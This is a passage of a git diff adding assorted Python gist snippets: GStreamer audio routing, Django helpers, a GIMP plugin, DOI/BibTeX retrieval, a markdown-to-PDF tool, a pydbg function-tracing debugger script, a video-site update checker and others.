+    not tee or not audio_queue or not audio_sink or not wavescope_queue or
+    not wavescope_visual or not wavescope_convert or not wavescope_sink or 
+    not file_queue or not file_encode or not file_sink):
+    print 'Elements could not be linked.'
+    exit(-1)
+
+# Configure our elements.
+#media_source.set_property('uri', 'file:///home/reimus/Public/sintel_trailer-480p.webm')
+media_source.set_property('uri', 'http://docs.gstreamer.com/media/sintel_trailer-480p.webm')
+wavescope_visual.set_property('shader', 0)
+wavescope_visual.set_property('style', 3)
+file_sink.set_property('location', 'myaudio.mp3')
+
+# Add elements to our bin
+output_bin.add(decode, convert, tee, audio_queue, audio_sink, wavescope_queue,
+    wavescope_visual, wavescope_convert, wavescope_sink, file_queue, 
+    file_encode, file_sink)
+
+# Link decodebin with autoconvert when its source pad has been created.
+decode.connect('new-decoded-pad', on_new_decoded_pad)
+
+# Link the rest of our elements together.
+if (not gst.element_link_many(convert, tee) or
+    not gst.element_link_many(audio_queue, audio_sink) or
+    not gst.element_link_many(wavescope_queue, wavescope_visual, 
+        wavescope_convert, wavescope_sink) or
+    not gst.element_link_many(file_queue, file_encode, file_sink)):
+    print 'Not all elements could link.'
+
+# Request pads to manually link the tee Element.
+tee_audio_pad = tee.get_request_pad('src%d')
+tee_wavescope_pad = tee.get_request_pad('src%d')
+tee_file_pad = tee.get_request_pad('src%d')
+print 'Obtained request pad %s for audio branch.'% tee_audio_pad.get_name()
+print 'Obtained request pad %s for audio branch.'% tee_wavescope_pad.get_name()
+print 'Obtained request pad %s for audio branch.'% tee_file_pad.get_name()
+
+# Manually link the tee pads to the queue pads.
+queue_audio_pad = audio_queue.get_static_pad('sink')
+queue_wavescope_pad = wavescope_queue.get_static_pad('sink')
+queue_file_pad = file_queue.get_static_pad('sink')
+if (tee_audio_pad.link(queue_audio_pad) != gst.PAD_LINK_OK or
+    tee_wavescope_pad.link(queue_wavescope_pad) != gst.PAD_LINK_OK or
+    tee_file_pad.link(queue_file_pad) != gst.PAD_LINK_OK):
+    print 'Tee could not be linked.'
+    exit(-1)
+
+# Create pads for the bin.
+decode_pad = decode.get_static_pad('sink')
+ghost_pad = gst.GhostPad('sink', decode_pad)
+ghost_pad.set_active(True)
+output_bin.add_pad(ghost_pad)
+
+# Set media_source's audio sink.
+media_source.set_property('audio-sink', output_bin)
+
+# Set our pipeline state to Playing.
+media_source.set_state(gst.STATE_PLAYING)
+
+# Wait until error or EOS.
+bus = media_source.get_bus()
+msg = bus.timed_pop_filtered(gst.CLOCK_TIME_NONE,
+    gst.MESSAGE_ERROR | gst.MESSAGE_EOS)
+print msg
+
+# Free resources.
+media_source.set_state(gst.STATE_NULL)
\ No newline at end of file
diff --git a/hard-gists/7131838/._snippet.py b/hard-gists/7131838/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/7131838/._snippet.py differ
diff --git a/hard-gists/7131838/snippet.py b/hard-gists/7131838/snippet.py
new file mode 100644
index 00000000..1af3ecb5
--- /dev/null
+++ b/hard-gists/7131838/snippet.py
@@ -0,0 +1,9 @@
+from django.conf import settings
+
+
+def global_settings(request):
+    # return any necessary values
+    return {
+        'GOOGLE_ANALYTICS': settings.GOOGLE_ANALYTICS,
+        'GOOGLE_API_KEY': settings.GOOGLE_API_KEY
+    }
\ No newline at end of file
diff --git a/hard-gists/7131909/._snippet.py b/hard-gists/7131909/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/7131909/._snippet.py differ
diff --git a/hard-gists/7131909/snippet.py b/hard-gists/7131909/snippet.py
new file mode 100644
index 00000000..0ee2a76e
--- /dev/null
+++ b/hard-gists/7131909/snippet.py
@@ -0,0 +1,42 @@
+from django import forms
+from django.template.defaultfilters import filesizeformat
+from django.utils.translation import ugettext_lazy as _
+from django.conf import settings
+
+class RestrictedFileField(forms.FileField):
+    def __init__(self, *args, **kwargs):
+        self.content_types = kwargs.pop('content_types', None)
+        self.max_upload_size = kwargs.pop('max_upload_size', None)
+        if not self.max_upload_size:
+            self.max_upload_size = settings.MAX_UPLOAD_SIZE
+        super(RestrictedFileField, self).__init__(*args, **kwargs)
+
+    def clean(self, *args, **kwargs):
+        data = super(RestrictedFileField, self).clean(*args, **kwargs)
+        try:
+            if data.content_type in self.content_types:
+                if data.size > self.max_upload_size:
+                    raise forms.ValidationError(_('File size must be under %s. Current file size is %s.') % (filesizeformat(self.max_upload_size), filesizeformat(data.size)))
+            else:
+                raise forms.ValidationError(_('File type (%s) is not supported.') % data.content_type)
+        except AttributeError:
+            pass
+
+        return data
+
+class RestrictedImageField(forms.ImageField):
+    def __init__(self, *args, **kwargs):
+        self.max_upload_size = kwargs.pop('max_upload_size', None)
+        if not self.max_upload_size:
+            self.max_upload_size = settings.MAX_UPLOAD_SIZE
+        super(RestrictedImageField, self).__init__(*args, **kwargs)
+
+    def clean(self, *args, **kwargs):
+        data = super(RestrictedImageField, self).clean(*args, **kwargs)
+        try:
+            if data.size > self.max_upload_size:
+                raise forms.ValidationError(_('File size must be under %s. Current file size is %s.') % (filesizeformat(self.max_upload_size), filesizeformat(data.size)))
+        except AttributeError:
+            pass
+
+        return data
\ No newline at end of file
diff --git a/hard-gists/715284/._snippet.py b/hard-gists/715284/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/715284/._snippet.py differ
diff --git a/hard-gists/715284/snippet.py b/hard-gists/715284/snippet.py
new file mode 100644
index 00000000..dc7883d3
--- /dev/null
+++ b/hard-gists/715284/snippet.py
@@ -0,0 +1,30 @@
+from google.appengine.api import (
+    apiproxy_stub_map,
+    quota
+)
+import logging
+
+def _log_api_pre_call(service, call, request, response, rpc):
+    logging.debug('RPC(pre) %s.%s', service, call)
+
+def _log_api_post_call(service, call, request, response, rpc, error):
+    try:
+        if service == 'datastore_v3' and call in ('Put', 'Touch', 'Delete', 'Commit'):
+            cost = response.cost()
+            cost_info = ' idx_writes=%d entity_writes=%d entity_bytes=%d' % (
+                cost.index_writes(), cost.entity_writes(), cost.entity_write_bytes())
+        else:
+            cost_info = ''
+
+        logging.info('RPC(post) %s.%s %.3fapi_cpu_ms%s',
+                     service, call,
+                     quota.megacycles_to_cpu_seconds(rpc.cpu_usage_mcycles),
+                     cost_info)
+    except Exception, e:
+        logging.exception(e)
+
+apiproxy_stub_map.apiproxy.GetPreCallHooks().Append(
+    '_log_api_pre_call', _log_api_pre_call)
+
+apiproxy_stub_map.apiproxy.GetPostCallHooks().Append(
+    '_log_api_post_call', _log_api_post_call)
diff --git a/hard-gists/7157510/._snippet.py b/hard-gists/7157510/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/7157510/._snippet.py differ
diff --git a/hard-gists/7157510/snippet.py b/hard-gists/7157510/snippet.py
new file mode 100644
index 00000000..44dedd8e
--- /dev/null
+++ b/hard-gists/7157510/snippet.py
@@ -0,0 +1,22 @@
+import win32com.client
+acad = win32com.client.Dispatch("AutoCAD.Application")
+
+doc = acad.ActiveDocument   # Document object
+
+
+# iterate trough all objects (entities) in the currently opened drawing
+# and if its a BlockReference, display its attributes and some other things.
+for entity in acad.ActiveDocument.ModelSpace:
+    name = entity.EntityName
+    if name == 'AcDbBlockReference':
+        HasAttributes = entity.HasAttributes
+        if HasAttributes:
+            print(entity.Name)
+            print(entity.Layer)
+            print(entity.ObjectID)
+            for attrib in entity.GetAttributes():
+                print("  {}: {}".format(attrib.TagString, attrib.TextString))
+                
+                # update text
+                attrib.TextString = 'modified with python'
+                attrib.Update()
\ No newline at end of file
diff --git a/hard-gists/716261/._snippet.py b/hard-gists/716261/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/716261/._snippet.py differ
diff --git a/hard-gists/716261/snippet.py b/hard-gists/716261/snippet.py
new file mode 100644
index 00000000..fe56f5a4
--- /dev/null
+++ b/hard-gists/716261/snippet.py
@@ -0,0 +1,46 @@
+#!/usr/bin/env python
+#
+# A GIMP plugin to save each layer in an image as a separate file
+
+from gimpfu import *
+import os
+
+def export_layers(img, drw, path, name):
+    img = img.duplicate()
+    
+    for layer in img.layers:
+        layer.visible = False
+    
+    for idx, layer in enumerate(img.layers):
+        layer.visible = True
+        
+        filename = name % [ idx, layer.name ]
+        fullpath = os.path.join(path, filename)
+        
+        layer_img = img.duplicate()
+        layer_img.flatten()
+        
+        pdb.gimp_file_save(layer_img, drw, fullpath, filename)
+        img.remove_layer(layer)
+
+register(
+    "python-fu-export-layers",
+    "Export Layers",
+    "Exports each layer as a separate file",
+    "Andrew Short",
+    "",
+    "",
+    "E_xport Layers...",
+    "*",
+    [
+        (PF_IMAGE, "img", "Input image", None),
+        (PF_DRAWABLE, "drw", "Input drawable", None),
+        (PF_DIRNAME, "path", "Output directory", os.getcwd()),
+        (PF_STRING, "name", "Output name", "layer_%d.jpg")
+    ],
+    [],
+    export_layers,
+    menu="<Image>/File/"
+    )
+
+main()
\ No newline at end of file
diff --git a/hard-gists/7183354/._snippet.py b/hard-gists/7183354/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/7183354/._snippet.py differ
diff --git a/hard-gists/7183354/snippet.py b/hard-gists/7183354/snippet.py
new file mode 100644
index 00000000..6e1627be
--- /dev/null
+++ b/hard-gists/7183354/snippet.py
@@ -0,0 +1,45 @@
+import re
+import sys
+import pefile
+from pydbg import *
+from pydbg.defines import *
+
+def parseidalog(file):
+	all_funcs = []
+	f = open(file)
+	funcs = f.readlines()
+	f.close()
+	for func in funcs:
+		if 'sub_' in func:
+			m = re.search('.text .+ 0', func)
+			addr = '0x'+m.group(0)[6:-2].replace('\n','')
+			addr = int(addr, 16)
+			all_funcs.append(addr)
+	return all_funcs
+def printeip(dbg):
+	eip = dbg.context.Eip
+	if eip not in most_used_funcs:
+		most_used_funcs.append(eip)
+		print 'Break Point Hit  ', hex(eip)
+	return DBG_CONTINUE
+def setallbp(dbg):
+	for fun in all_func:
+		#print '[+] Setting soft bp on ',hex(fun)
+		dbg.bp_set(fun,handler=printeip)
+	return DBG_CONTINUE
+def main():
+	global all_func
+	global most_used_funcs
+	most_used_funcs = []
+	all_func = parseidalog('ida-export.txt')
+	dbg = pydbg()
+	exe_file = sys.argv[1]
+	pe = pefile.PE(exe_file)
+	dbg = pydbg()
+	dbg.load(exe_file)
+	entry = pe.OPTIONAL_HEADER.ImageBase + pe.OPTIONAL_HEADER.AddressOfEntryPoint
+	dbg.bp_set(entry,handler=setallbp)
+	dbg.run()
+
+if __name__ == '__main__':
+	main()
\ No newline at end of file
diff --git a/hard-gists/7191601fd58bb37a9efd/._snippet.py b/hard-gists/7191601fd58bb37a9efd/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/7191601fd58bb37a9efd/._snippet.py differ
diff --git a/hard-gists/7191601fd58bb37a9efd/snippet.py b/hard-gists/7191601fd58bb37a9efd/snippet.py
new file mode 100644
index 00000000..c440b851
--- /dev/null
+++ b/hard-gists/7191601fd58bb37a9efd/snippet.py
@@ -0,0 +1,66 @@
+# -*- coding: utf-8 -*-
+
+import functools
+import logging
+import time
+
+from django.conf import settings
+from django.db import connection
+
+
+logger = logging.getLogger(__name__)
+
+
+class timer(object):
+
+    def __init__(self, prefix):
+        self._start = None
+        self._prefix = prefix
+
+    def __enter__(self):
+        self._start = time.time()
+
+    def __exit__(self, exc_type, exc_value, exc_traceback):
+        if settings.DEBUG:
+            logger.debug(
+                u'[timer] %s %s', self._prefix, time.time() - self._start)
+
+    def __call__(self, fn):
+
+        @functools.wraps(fn)
+        def inner(*args, **kwargs):
+            with self:
+                return fn(*args, **kwargs)
+        return inner
+
+
+class debug_sql(object):
+
+    def __init__(self, prefix):
+        self._prefix = prefix
+        self._start = self._end = None
+
+    def __enter__(self):
+        self._start = len(connection.queries)
+
+    def __exit__(self, exc_type, exc_value, exc_traceback):
+        self._end = len(connection.queries)
+        if not settings.DEBUG:
+            return
+        for stat in connection.queries[self._start:self._end]:
+            if isinstance(stat, dict):
+                logger.debug('[debug_sql %s] time %s query %s',
+                             self._prefix, stat['time'], stat['sql'])
+            else:
+                logger.debug('[debug_sql %s] %s', self._prefix, stat)
+            logger.debug('')
+        logger.debug('[debug_sql %s] num of queries: %s',
+                     self._prefix, self._end - self._start)
+
+    def __call__(self, fn):
+
+        @functools.wraps(fn)
+        def inner(*args, **kwargs):
+            with self:
+                return fn(*args, **kwargs)
+        return inner
\ No newline at end of file
diff --git a/hard-gists/719502/._snippet.py b/hard-gists/719502/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/719502/._snippet.py differ
diff --git a/hard-gists/719502/snippet.py b/hard-gists/719502/snippet.py
new file mode 100644
index 00000000..b71128ce
--- /dev/null
+++ b/hard-gists/719502/snippet.py
@@ -0,0 +1,23 @@
+from django.core.cache import cache
+from django.http import HttpResponseForbidden
+from functools import wraps
+from django.utils.decorators import available_attrs
+
+def ratelimit(limit=10,length=86400):
+    """ The length is in seconds and defaults to a day"""
+    def decorator(func):
+        def inner(request, *args, **kwargs):
+            ip_hash = str(hash(request.META['REMOTE_ADDR']))
+            result = cache.get(ip_hash)
+            if result:
+                result = int(result)
+                if result == limit:
+                    return HttpResponseForbidden("Ooops too many requests today!")
+                else:
+                    result +=1
+                    cache.set(ip_hash,result,length)
+                    return func(request,*args,**kwargs)
+            cache.add(ip_hash,1,length)
+            return func(request, *args, **kwargs)
+        return wraps(func, assigned=available_attrs(func))(inner)
+    return decorator
\ No newline at end of file
diff --git a/hard-gists/719fc5e3a21dd2779d9fe69bf41e6ba6/._snippet.py b/hard-gists/719fc5e3a21dd2779d9fe69bf41e6ba6/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/719fc5e3a21dd2779d9fe69bf41e6ba6/._snippet.py differ
diff --git a/hard-gists/719fc5e3a21dd2779d9fe69bf41e6ba6/snippet.py b/hard-gists/719fc5e3a21dd2779d9fe69bf41e6ba6/snippet.py
new file mode 100644
index 00000000..201481d4
--- /dev/null
+++ b/hard-gists/719fc5e3a21dd2779d9fe69bf41e6ba6/snippet.py
@@ -0,0 +1,79 @@
+"""
+This file contains python functions for automatically retreiving DOI metadata
+and creating bibtex references. `get_bibtex_entry(doi)` creates a bibtex entry
+for a DOI. It fixes a Data Cite author name parsing issue. Short DOIs are used
+for bibtex citation keys.
+
+Created by Daniel Himmelstein and released under CC0 1.0.
+"""
+
+import urllib.request
+
+import requests
+import bibtexparser
+from bibtexparser.bparser import BibTexParser
+from bibtexparser.bibdatabase import BibDatabase
+
+def shorten(doi, cache={}, verbose=False):
+    """
+    Get the shortDOI for a DOI. Providing a cache dictionary will prevent
+    multiple API requests for the same DOI.
+    """
+    if doi in cache:
+        return cache[doi]
+    quoted_doi = urllib.request.quote(doi)
+    url = 'http://shortdoi.org/{}?format=json'.format(quoted_doi)
+    try:
+        response = requests.get(url).json()
+        short_doi = response['ShortDOI']
+    except Exception as e:
+        if verbose:
+            print(doi, 'failed with', e)
+        return None
+    cache[doi] = short_doi
+    return short_doi
+
+def get_bibtext(doi, cache={}):
+    """
+    Use DOI Content Negotioation (http://crosscite.org/cn/) to retrieve a string
+    with the bibtex entry.
+    """
+    if doi in cache:
+        return cache[doi]
+    url = 'https://doi.org/' + urllib.request.quote(doi)
+    header = {
+        'Accept': 'application/x-bibtex',
+    }
+    response = requests.get(url, headers=header)
+    bibtext = response.text
+    if bibtext:
+        cache[doi] = bibtext
+    return bibtext
+
+def get_bibtex_entry(doi, bibtext_cache={}, shortdoi_cache={}):
+    """
+    Return a bibtexparser entry for a DOI
+    """
+    bibtext = get_bibtext(doi, cache = bibtext_cache)
+    if not bibtext:
+        return None
+
+    short_doi = shorten(doi, cache = shortdoi_cache)
+    parser = BibTexParser()
+    parser.ignore_nonstandard_types = False
+    bibdb = bibtexparser.loads(bibtext, parser)
+    entry, = bibdb.entries
+    quoted_doi = urllib.request.quote(doi)
+    entry['link'] = 'https://doi.org/{}'.format(quoted_doi)
+    if 'author' in entry:
+        entry['author'] = ' and '.join(entry['author'].rstrip(';').split('; '))
+    entry['ID'] = short_doi[3:]
+    return entry
+
+def entries_to_str(entries):
+    """
+    Pass a list of bibtexparser entries and return a bibtex formatted string.
+    """
+    db = BibDatabase()
+    db.entries = entries
+    return bibtexparser.dumps(db)
diff --git a/hard-gists/71b14c4beab12998b6d1/._snippet.py b/hard-gists/71b14c4beab12998b6d1/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/71b14c4beab12998b6d1/._snippet.py differ
diff --git a/hard-gists/71b14c4beab12998b6d1/snippet.py b/hard-gists/71b14c4beab12998b6d1/snippet.py
new file mode 100644
index 00000000..e2f9be59
--- /dev/null
+++ b/hard-gists/71b14c4beab12998b6d1/snippet.py
@@ -0,0 +1,63 @@
+#!/usr/bin/env python
+
+import os
+import sys
+
+from markdown2 import markdown
+from xhtml2pdf import pisa
+
+"""
+## Inspired by 
+
+https://github.com/walle/gimli
+https://gist.github.com/SpotlightKid/0efb4d07f28af1c8fc1b
+
+## Documentation of underlying tools
+http://xhtml2pdf.appspot.com/static/pisa-en.html
+
+Required packages: markdown2, xhtml2pdf, html5lib
+"""
+
+DEFAULT_EXTRAS = [
+    'fenced-code-blocks',
+    'footnotes',
+    'metadata',
+    'pyshell',
+    'smarty-pants',
+    'tag-friendly',
+    'wiki-tables'
+]
+
+def main(md_file, css_file):
+    # read css file
+    from xhtml2pdf.default import DEFAULT_CSS
+    if css_file is not None:
+        with open(css_file) as f:
+            DEFAULT_CSS += f.read()
+    
+    # read markdown
+    with open(md_file) as f:
+        md = f.read()
+
+    # to html
+    html = markdown(md, extras=DEFAULT_EXTRAS)
+
+    base_with_path = os.path.splitext(sys.argv[1])[0]
+    basename = os.path.basename(base_with_path)
+
+    with open('%s.pdf'%basename, "wb") as fp:
+        # convert HTML to PDF
+        pisa.CreatePDF(html, dest=fp, default_css=DEFAULT_CSS)
+
+if __name__ == '__main__':
+    if len(sys.argv) == 1:
+        print('Usage: md2pdf input.md style.css')
+        print('       You can also set a CSS file as env var.')
+        print('       E.g. export MD2PDF_CSS=style.css')
+        sys.exit()
+    if len(sys.argv) == 2:
+        css = os.getenv('MD2PDF_CSS')
+    if len(sys.argv) == 3:
+        css = sys.argv[2]
+
+    main(sys.argv[1], css)
diff --git a/hard-gists/71eda2aab0ee32d19b01/._snippet.py b/hard-gists/71eda2aab0ee32d19b01/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/71eda2aab0ee32d19b01/._snippet.py differ
diff --git a/hard-gists/71eda2aab0ee32d19b01/snippet.py b/hard-gists/71eda2aab0ee32d19b01/snippet.py
new file mode 100644
index 00000000..9e526049
--- /dev/null
+++ b/hard-gists/71eda2aab0ee32d19b01/snippet.py
@@ -0,0 +1,39 @@
+#!/usr/bin/env python
+from github import Github
+import urllib2
+import codecs
+import sys 
+import re
+UTF8Writer = codecs.getwriter('utf8')
+sys.stdout = UTF8Writer(sys.stdout)
+
+oauthToken = open('.oauthToken', 'r').read()
+github = Github(login_or_token=oauthToken)
+
+def print_repo(repo_url):
+	match = re.match('.+github.com/([^/]+/[^/]+).*', repo_url)
+	if match is not None:
+		repo_name = match.group(1)
+		repo = github.get_repo(repo_name)
+		for item in [
+			repo.owner.name,
+			repo.owner.login,
+			repo.name,
+			repo.created_at,
+			repo.description,
+			repo.language,
+			repo.stargazers_count]:
+			print item if item else '',
+			print '\t',
+	print ''
+
+url = 'https://docs.google.com/spreadsheets/d/1XvGfi3TxWm7kuQ0DUqYrO6cxva196UJDxKTxccFqb9U/pub?gid=0&single=true&output=tsv'
+response = urllib2.urlopen(url)
+tsv = response.read()
+lines = tsv.split('\r\n')
+keys = lines.pop(0).split('\t')
+for line in lines:
+	values = line.split('\t')
+	item = dict(zip(keys, values))
+	repo_url = item['GitHub']
+	print_repo(repo_url)
\ No newline at end of file
diff --git a/hard-gists/7226559/._snippet.py b/hard-gists/7226559/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/7226559/._snippet.py differ
diff --git a/hard-gists/7226559/snippet.py b/hard-gists/7226559/snippet.py
new file mode 100644
index 00000000..faad23bf
--- /dev/null
+++ b/hard-gists/7226559/snippet.py
@@ -0,0 +1,246 @@
+# coding= utf-8
+from bs4 import BeautifulSoup
+from ConfigParser import ConfigParser
+from PySide.QtCore import QThread,Qt,Signal
+from PySide.QtGui import QTableWidget,QAbstractItemView,QTableWidgetItem,QBrush,QColor,QApplication
+from threading import Thread
+import webbrowser
+import sys
+import time
+#from urllib2 import urlopen
+
+import urllib
+import urllib2
+
+CONFIGFILE='videoupdater.txt'
+SECTION='lastest'
+
+opener=urllib2.build_opener(urllib2.HTTPCookieProcessor())
+opener.addheaders=[('User-Agent', 'Mozilla/5.0 (Windows NT 6.1; rv:20.0) Gecko/20100101 Firefox/20.0'),
+                   ('Content-Type', 'application/x-www-form-urlencoded')]
+                   
+VIDEO=[(u'我真的是专家','http://i.youku.com/u/UNDE0MTc5OTI=/videos','UNDE0MTc5OTI','youku'),
+       (u'sinbasara','http://i.youku.com/u/UMzQ5MjA4NDI4/videos','UMzQ5MjA4NDI4','youku'),
+       (u'123来呀','http://i.youku.com/u/UMzEwNTUzNjc2/videos','UMzEwNTUzNjc2','youku'),
+       (u'飞碟说','http://i.youku.com/u/UNTMxOTkwNjA0/videos','UNTMxOTkwNjA0','youku'),
+       (u'笑打扮哲学','http://i.youku.com/u/UMTM4NDk2MjA=/videos','UMTM4NDk2MjA','youku'),
+       (u'各种被干','http://i.youku.com/u/UMTQ0NzE0NzI0/videos','UMTQ0NzE0NzI0','youku'),
+       (u'敖厂长y','http://i.youku.com/u/UMjA0NTg4Njcy/videos','UMjA0NTg4Njcy','youku'),
+       (u'hawkao','http://i.youku.com/u/UMjU1MzY1ODg=/videos','UMjU1MzY1ODg','youku'),
+       (u'财经郎眼','http://www.youku.com/show_page/id_zc0818720404711e29013.html','id_zc0818720404711e29013','youkushow'),
+       (u'天天向上','http://www.youku.com/show_page/id_z9510781e2d4411e296ac.html','id_z9510781e2d4411e296ac','youkushow'),
+       (u'快乐大本营','http://www.youku.com/show_page/id_zd18a7caa2d4311e29498.html','id_zd18a7caa2d4311e29498','youkushow'),
+       #(u'老友记','http://www.youku.com/show_page/id_zafef34ece06211e19013.html','id_zafef34ece06211e19013','youkushow'),
+       (u'晓说','http://www.youku.com/show_page/id_z64feb2249b8211e296da.html','id_z64feb2249b8211e296da','youkushow'),
+       #(u'娱乐百分百','http://www.youku.com/show_page/id_z8fad81de2d6011e296ac.html','id_z8fad81de2d6011e296ac','youkushow'),
+       (u'国光帮帮忙','http://www.youku.com/show_page/id_z5ca3d0742d4f11e2b356.html','id_z5ca3d0742d4f11e2b356','youkushow'),
+       (u'罗辑思维','http://www.youku.com/show_page/id_zc40101545bdc11e2b356.html','id_zc40101545bdc11e2b356','youkushow'),
+       #(u'十万个冷笑话','http://www.youku.com/show_page/id_z02baa1f0cbcf11e19013.html','id_z02baa1f0cbcf11e19013','youkushow_r'),
+       (u'壹读','http://i.youku.com/u/UNDY0MTExNTky/videos','UNDY0MTExNTky','youku'),
+       (u'lukePOST','http://i.youku.com/u/UMzA3NzkwMzI4/videos','UMzA3NzkwMzI4','youku'),
+       
+       (u'敖厂长t','http://www.tudou.com/home/item_u29083386s0p1.html','item_u29083386s0p1','tudou'),
+       (u'老湿alwayswet','http://www.tudou.com/home/item_u60173626s0p1.html','item_u60173626s0p1','tudou'),
+       
+       (u'微播江湖','http://video.56.com/opera/6268.html','opera6268','56'),
+       (u'反犬TDog','http://i.56.com/fanquan/videos/','fanquan','56i'),
+
+       (u'锵锵三人行','http://phtv.ifeng.com/program/qqsrx/','qiangqiangsanrenxing','ifeng'),
+
+       (u'康熙来了','http://v.qq.com/variety/column/column_324.html','kangxilaile','qq'),
+       (u'新闻百科','http://v.qq.com/cover/b/bfal45ox1erftku.html','bfal45ox1erftku','qq2')]
+result=[]
+
+class Checker(Thread):
+    def __init__(self,user,url,id_,type_):
+        Thread.__init__(self)
+        self.user=user
+        self.url=url
+        self.id_=id_
+        self.type=type_
+        
+    def soup(self):
+        #return BeautifulSoup(urlopen(self.url))
+        return BeautifulSoup(opener.open(urllib2.Request(self.url)).read())
+    
+    def update(self):
+        global config
+        print self.url
+        timeaskey = False
+        if self.type=='youku':
+            info = self.soup().find("ul", class_="v")
+            self.title = info.a.get('title')
+            self.link = info.a.get('href')
+            self.time = info.find('li', class_="v_pub").span.string
+
+        elif self.type=='tudou':
+            info = self.soup().find("div", class_="txt")
+            self.link = info.a.get('href')
+            self.title = info.a.get('title')
+            self.time = info.find_all('li',limit=2)[1].string[9:].strip()
+            
+        elif self.type=='56':
+            info = self.soup().find("div", class_="episode_cnt").find('a')
+            self.link=info.get('href')
+            self.title=info.find("span",class_="txt").string
+            self.time=info.find("span",class_="time").string
+            
+        elif self.type=='youkushow':
+            info = self.soup().find("div", id="episode").find('li')
+            self.link = info.a.get('href')
+            self.title = info.a.get('title')
+            self.time=info.label.string
+        
+        elif self.type=='qq':
+            info = self.soup().find("div", class_="mod_item")
+            temp = info.find('h6').a
+            self.title = temp.get('title')+(','.join([a.string for a in info.find('li', class_='date').find_all('a')]))
+            self.link = temp.get('href')
+            #self.time = info.find('span', class_="mod_version").string[5:10]
+            self.time = info.find('em', class_="mask_txt").string[5:10]
+            
+        elif self.type=='ifeng':
+            info = self.soup().find("h2")
+            self.title = info.span.string
+            self.link = self.url
+            self.time = info.em.string[5:10]
+            timeaskey = True
+            
+        elif self.type=='youkushow_r':
+            info = self.soup().find("div", id="episode").find_all('a')[-1]
+            self.link = info.get('href')
+            self.title = info.get('title')
+            self.time = self.title[0:2]
+            self.title = self.title[2:].strip()
+            
+        elif self.type=='qq2':
+            info = self.soup().find('li',class_='item')
+            self.title = info.find('strong',class_='video_title').string
+            self.link = self.url
+            self.time = info.a.get('ut')[5:]
+            timeaskey = True
+        
+        elif self.type=='56i':
+            info = self.soup().find("div", class_="m_v_list_txt")
+            tmp = info.find('a')
+            self.link=tmp.get('href')
+            self.title=tmp.get('title')
+            self.time=info.find('span').string[3:]
+        
+        if timeaskey:
+            self.key=self.time
+        else:
+            self.key=self.link
+            
+        new=False
+        if not config.has_option(SECTION, self.id_) or not config.get(SECTION, self.id_)==self.key:
+            config.set(SECTION, self.id_, self.key)
+            new=True
+        result.append((self.user,self.time,self.title,self.link,new))
+        
+    def run(self):
+#        self.update()
+         try:
+             self.update()
+         except:
+             print 'error'
+             result.append((self.user,'error','error',self.url,True))
+        
+class Updater(object):
+    def __init__(self):
+        global config
+        config = ConfigParser()
+        config.read(CONFIGFILE)
+        if not config.has_section(SECTION):
+            config.add_section(SECTION)
+    
+    def getLatest(self):
+        threads=[]
+        try:
+            for (user,url,id_,type_) in VIDEO:
+                t=Checker(user,url,id_,type_)
+                t.setDaemon(True)
+                t.start()
+                threads.append((t))
+            for thread in threads:
+                thread.join(60)
+            with open(CONFIGFILE,'w') as configfile:
+                config.write(configfile)
+        except:
+            print 'error'
+
+class MyTable(QTableWidget):
+    def __init__(self, *args):
+        QTableWidget.__init__(self, *args)
+        self.thread = VideoThread(self)
+        self.thread.dataReady.connect(self.update, Qt.QueuedConnection)
+        self.init()
+    
+    def init(self):
+        self.setHorizontalHeaderLabels([u'作者',u'更新时间',u'视频名称',u'视频链接'])
+        self.setSelectionBehavior(QAbstractItemView.SelectRows)
+        self.cellClicked.connect(self.clik)
+    
+    def update(self):
+        self.setWindowTitle(time.ctime(time.time()))
+        row=0
+        for (user,_,_,_) in VIDEO:
+#             index=0
+            for index,info in enumerate(result):
+                if user==info[0]:
+                    self.insertRow(row)
+                    for column in range(4):
+                        item = QTableWidgetItem(info[column])
+                        if info[4]:
+                            item.setForeground(QBrush(QColor(255,0,0)))
+                        self.setItem(row, column, item)
+                    result.pop(index)
+                    break
+#                 index+=1
+            row +=1
+        
+#         for info in result:
+#             self.insertRow(row)
+#             for column in range(4):
+#                 item = QTableWidgetItem(info[column])
+#                 if info[4]:
+#                     item.setForeground(QBrush(QColor(255,0,0)))
+#                 self.setItem(row, column, item)
+#             row +=1
+        self.resizeColumnsToContents()
+        self.setFixedSize(self.horizontalHeader().length() + 30, self.verticalHeader().length() + 30); 
+        self.show()
+        
+    def clik(self, row, column):
+        print 'clicked',row,column
+        if column == 3 :
+            item=self.item(row, column)
+            if item:
+                url=item.text()
+                if url.startswith('http://'):
+                    webbrowser.open(url)
+        if column == 0:
+            for (user,url,_,_) in VIDEO:
+                if(self.item(row, column).text()==user):
+                    webbrowser.open(url)
+
+#     def closeEvent(self, event):
+#         event.accept()
+#         self.thread.terminate()
+#         sys.exit()
+
+class VideoThread(QThread):
+    dataReady = Signal(object)
+    def run(self):
+        print time.ctime(time.time()),u' - 检查视频更新'
+        Updater().getLatest()
+        self.dataReady.emit('')
+
+if __name__=='__main__':
+    app = QApplication(sys.argv)
+    table=MyTable(0, 4)
+    table.thread.start()
+    app.exec_()
+    sys.exit()
+    
+    
\ No newline at end of file
diff --git a/hard-gists/7228939/._snippet.py b/hard-gists/7228939/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/7228939/._snippet.py differ
diff --git a/hard-gists/7228939/snippet.py b/hard-gists/7228939/snippet.py
new file mode 100644
index 00000000..16671688
--- /dev/null
+++ b/hard-gists/7228939/snippet.py
@@ -0,0 +1,117 @@
+# -*- coding: utf-8 -*-
+"""
+An example flask application showing how to upload a file to S3
+while creating a REST API using Flask-Restful.
+
+Note: This method of uploading files is fine for smaller file sizes,
